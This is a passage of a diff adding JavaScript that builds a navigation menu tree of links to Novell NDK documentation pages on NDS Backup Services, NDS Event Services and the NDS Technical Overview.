+ pindex = navigationTree[j4]["parentIndex"]+1;
+ }
+
+ var lindex = navigationTree[j4]["levelIndex"];
+ // document.write('treeNodes[' + pindex +'].items['+ lindex +'].MTMakeSubmenu(treeNodes['+(j4+1)+']);<br>');
+
+ treeNodes[pindex].items[lindex].MTMakeSubmenu(treeNodes[j4+1]);
+ }
+ }
+
+ menu = treeNodes[0];
+
+//expand the second item to display the sub contents on first display
+ if (menu.items[0] != null )
+ {
+ menu.items[0].expanded = true;
+
+ }
+
+
+
+ }
+
+
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Libraries for C ","http://developer.novell.com/ndk/doc/ndslib/treetitl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Backup Services ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/hevgtl7k.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Functions ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/h7qwv271.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDSBackupServerData ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSFreeNameList ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk12.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSGetReplicaPartitionNames ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk19.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSIsOnlyServerInTree ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk26.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSSYSVolumeRecovery ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk33.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSVerifyServerInfo ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk40.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Structures ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/hqp7vveq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NAMEID_TYPE ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/sdk48.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Values ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/hmmmal7s.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Reason Flags ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/h3r99io5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Server Flags ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/hnlckbki.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/dsbk_enu/data/a5i29ah.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Services ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hmwiqbwd.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Concepts ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hj3udfo7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Introduction ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hmgeu8a1.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Functions ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hxwcemsz.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Priorities ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hux0tdup.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Data Filtering ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/ha7nqbpy.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Event Types ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/h741eryw.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Global Network Monitoring ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/h9alatk4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Tasks ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/huypg52u.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Monitoring NDS Events ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hhkihe7f.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Registering for NDS Events ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/h0xmzt1h.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unregistering for NDS Events ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hk3fvwed.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Functions ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/h7qwv271.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEConvertEntryName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk28.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalAttrID ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk33.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalAttrName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk39.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalClassID ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk45.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalClassName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk51.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalEntryID ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk57.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEGetLocalEntryName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk63.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSERegisterForEvent ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk69.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSERegisterForEventWithResult ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk75.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NWDSEUnRegisterForEvent ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk81.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Structures ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hqp7vveq.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("DSEACL ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk88.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEBackLink ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk92.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEBinderyObjectInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk96.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEBitString ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk100.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEChangeConnState ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk104.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSECIList ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk108.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEDebugInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk112.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEEmailAddress ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk116.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEEntryInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk120.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEEntryInfo2 ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk124.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEEventData ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk128.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEFaxNumber ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk132.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEHold ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk135.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEModuleState ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk139.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSENetAddress ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk143.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEOctetList ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk147.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEPath ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk151.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEReplicaPointer ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk155.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSESEVInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk159.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSETimeStamp ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk163.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSETraceInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk167.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSETypedName ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk172.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEVALData ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk176.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("DSEValueInfo ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/sdk179.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Values ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hmmmal7s.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Event Priorities ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hlerfllh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Event Types ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/hiz5y84y.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Revision History ","http://developer.novell.com/ndk/doc/ndslib/dsev_enu/data/a6hw6zr.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Technical Overview ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h6tvg4z7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS as the Internet Directory ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h273w870.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Requirements for Networks and the Internet ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/a2lh37b.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Compliance to X.500 Standard ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h0jj42d7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Compliance with LDAP v3 ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/a2b6k5w.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Directory Access Protocols ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/a2b6k5x.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Programming Interfaces for NDS ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h2qzzkq8.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Architecture ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h6mny7fl.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Objects ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hp4dslw5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Names ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h0yh1byj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Types of Information Stored in NDS ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hci52ynf.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Retrieval of Information from NDS ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hwwz5mda.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Tree Walking ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h2xhaphc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Object Management ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h3mq2rf0.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Security ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hl8x1zxc.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Authentication ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hp901s8a.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Access Control Lists ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hr8sqtoi.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Inheritance ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hh9881ul.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NetWare File System ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h64btfhk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Partitions and Replicas ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hmq60r6h.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Partitioning ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hqx5hvrp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replication ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hj5l8npv.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Distributed Reference Management ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hzap47de.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Operations ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hgbpk7x9.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Synchronization ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hsiplgn4.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Background Processes ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hz2kcp2e.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Bindery Services ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hwug6ytv.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Bindery Context ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h8dwby8o.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Context Path ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h6y3yva6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Bindery Context Eclipsing ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hwcqk80m.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Bindery Objects ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hq4w9le6.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("NDS Return Values ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hbjry4gt.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Return Values from the Operating System ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h5h16q77.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Client Return Values ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/he2lvhfy.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDS Agent Return Values ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hcvwzt90.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Directory Services Trace Utilities ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hujirj2n.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("Using the DSTrace NLM ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hmg1e5gn.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Using Basic SET DSTrace Commands ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hdn0smja.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Starting Background Processes with SET DSTrace ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/h5pjd8fv.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Tuning Background Processes ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hhv9cqpk.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Enabling DSTrace Messages with SET DSTrace ","http://developer.novell.com/ndk/doc/ndslib/dsov_enu/data/hcah5j8v.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
